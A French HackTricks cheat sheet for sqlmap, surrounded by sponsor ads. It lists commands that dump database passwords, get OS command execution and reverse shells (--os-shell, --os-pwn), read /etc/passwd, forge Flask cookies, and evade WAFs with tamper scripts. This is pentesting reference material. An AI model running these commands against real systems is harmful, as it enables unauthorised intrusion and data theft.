hacktricks/pentesting-web/sql-injection/sqlmap/README.md

240 lines
18 KiB
Markdown

# SQLMap - Cheetsheat
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
[**DragonJAR Security Conference est un événement international de cybersécurité**](https://www.dragonjarcon.org/) avec plus d'une décennie d'existence qui se tiendra les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de contenu technique de haut niveau où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.\
Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grande conférence !:
{% embed url="https://www.dragonjarcon.org/" %}
## Arguments de base pour SQLmap
### Générique
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
```
### Récupérer des informations
#### Interne
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
```
#### Données de la base de données
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
## Emplacement de l'injection
### À partir de la capture Burp/ZAP
Capturez la requête et créez un fichier req.txt.
```bash
sqlmap -r req.txt --current-user
```
### Injection de requête GET
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
### Injection de requête POST
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
### Injections dans les en-têtes et autres méthodes HTTP
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
### Indiquer la chaîne lorsque l'injection est réussie
```bash
--string="string_showed_when_TRUE"
```
### Eval
Sqlmap permet l'utilisation de `-e` ou `--eval` pour traiter chaque charge utile avant de l'envoyer avec une ligne de code python. Cela rend très facile et rapide le traitement personnalisé de la charge utile avant de l'envoyer. Dans l'exemple suivant, la **session cookie flask** **est signée par flask avec le secret connu avant de l'envoyer** :
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
### Shell
### Coquille
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
### Lire un fichier
```bash
--file-read=/etc/passwd
```
### Parcourir un site web avec SQLmap et auto-exploiter
SQLmap est un outil puissant pour l'exploitation de vulnérabilités de type injection SQL. Il peut être utilisé pour parcourir un site web à la recherche de vulnérabilités d'injection SQL et les exploiter automatiquement.
Pour utiliser SQLmap pour parcourir un site web, vous pouvez utiliser la commande suivante :
```
sqlmap -u <URL> --crawl=1
```
Cela permettra à SQLmap de parcourir le site web et de collecter des informations sur les paramètres de l'URL et les formulaires. SQLmap peut ensuite utiliser ces informations pour détecter les vulnérabilités d'injection SQL et les exploiter automatiquement.
Il est important de noter que l'utilisation de SQLmap pour exploiter des vulnérabilités sans autorisation préalable est illégale et peut entraîner des conséquences graves. Il est recommandé d'utiliser SQLmap uniquement à des fins de test de pénétration autorisées.
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
### Injection de second ordre
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
[**Lisez cet article**](second-order-injection-sqlmap.md) **sur la façon d'effectuer des injections de second ordre simples et complexes avec sqlmap.**
<figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
[**DragonJAR Security Conference est un événement international de cybersécurité**](https://www.dragonjarcon.org/) **qui a plus d'une décennie et qui se tiendra les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de contenu technique élevé où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.\
Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grande conférence !:**
{% embed url="https://www.dragonjarcon.org/" %}
## Personnalisation de l'injection
### Définir un suffixe
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
### Préfixe
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
### Aide pour trouver une injection booléenne
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
### Altération
Rappelez-vous que **vous pouvez créer votre propre altération en python** et c'est très simple. Vous pouvez trouver un exemple d'altération dans la page [Injection de Second Ordre ici](second-order-injection-sqlmap.md).
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Description |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Remplace le caractère apostrophe par son homologue UTF-8 pleine largeur |
| apostrophenullencode.py | Remplace le caractère apostrophe par son homologue double unicode illégal |
| appendnullbyte.py | Ajoute un octet NULL encodé à la fin de la charge utile |
| base64encode.py | Encode en base64 tous les caractères d'une charge utile donnée |
| between.py | Remplace l'opérateur supérieur à ('>') par 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Remplace l'espace après l'instruction SQL par un caractère blanc valide aléatoire. Ensuite, remplace le caractère = par l'opérateur LIKE |
| chardoubleencode.py | Encode en double URL tous les caractères d'une charge utile donnée (sans traiter ceux déjà encodés) |
| commalesslimit.py | Remplace les occurrences de 'LIMIT M, N' par 'LIMIT N OFFSET M' |
| commalessmid.py | Remplace les occurrences de 'MID(A, B, C)' par 'MID(A FROM B FOR C)' |
| concat2concatws.py | Remplace les occurrences de 'CONCAT(A, B)' par 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Encode en URL tous les caractères d'une charge utile donnée (sans traiter ceux déjà encodés) |
| charunicodeencode.py | Encode en Unicode-URL les caractères non encodés d'une charge utile donnée (sans traiter ceux déjà encodés). "%u0022" |
| charunicodeescape.py | Encode en Unicode-URL les caractères non encodés d'une charge utile donnée (sans traiter ceux déjà encodés). "\u0022" |
| equaltolike.py | Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE' |
| escapequotes.py | Échappe les guillemets (' et ") |
| greatest.py | Remplace l'opérateur supérieur à ('>') par son homologue GREATEST |
| halfversionedmorekeywords.py | Ajoute un commentaire MySQL versionné avant chaque mot-clé |
| ifnull2ifisnull.py | Remplace les occurrences de 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Encadre la requête complète avec un commentaire versionné |
| modsecurityzeroversioned.py | Encadre la requête complète avec un commentaire à version zéro |
| multiplespaces.py | Ajoute plusieurs espaces autour des mots-clés SQL |
| nonrecursivereplacement.py | Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par exemple, .replace("SELECT", "")) filtres |
| percentage.py | Ajoute un signe de pourcentage ('%') devant chaque caractère |
| overlongutf8.py | Convertit tous les caractères d'une charge utile donnée (sans traiter ceux déjà encodés) |
| randomcase.py | Remplace chaque caractère de mot-clé par une valeur de cas aléatoire |
| randomcomments.py | Ajoute des commentaires aléatoires aux mots-clés SQL |
| securesphere.py | Ajoute une chaîne spécialement conçue |
| sp\_password.py | Ajoute 'sp\_password' à la fin de la charge utile pour l'obfuscation automatique des journaux DBMS |
| space2comment.py | Remplace l'espace (' ') par des commentaires |
| space2dash.py | Remplace l'espace (' ') par un commentaire de tiret ('--') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
| space2hash.py | Remplace l'espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
| space2morehash.py | Remplace l'espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
| space2mssqlblank.py | Remplace l'espace (' ') par un caractère blanc aléatoire issu d'un ensemble valide de caractères alternatifs |
| space2mssqlhash.py | Remplace l'espace (' ') par un caractère dièse ('#') suivi d'une nouvelle ligne ('\n') |
| space2mysqlblank.py | Remplace l'espace (' ') par un caractère blanc aléatoire issu d'un ensemble valide de caractères alternatifs |
| space2mysqldash.py | Remplace l'espace (' ') par un commentaire de tiret ('--') suivi d'une nouvelle ligne ('\n') |
| space2plus.py | Remplace l'espace (' ') par un signe plus ('+') |
| space2randomblank.py | Remplace l'espace (' ') par un caractère blanc aléatoire issu d'un ensemble valide de caractères alternatifs |
| symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs homologues symboliques (&& et |
| unionalltounion.py | Remplace UNION ALL SELECT par UNION SELECT |
| unmagicquotes.py | Remplace le caractère de citation (') par une combinaison multioctet %bf%27 avec un commentaire générique à la fin (pour le faire fonctionner) |
| uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscule 'INSERT' |
| varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' |
| versionedkeywords.py | Encadre chaque mot-clé non fonctionnel avec un commentaire MySQL versionné |
| versionedmorekeywords.py | Encadre chaque mot-clé avec un commentaire MySQL versionné |
| xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' |
<figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
[**DragonJAR Security Conference**](https://www.dragonjarcon.org/) **est un événement international de cybersécurité** qui se tient depuis plus d'une décennie et aura lieu les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de contenu technique élevé où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.\
Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grande conférence ! :
{% embed url="https://www.dragonjarcon.org/" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospol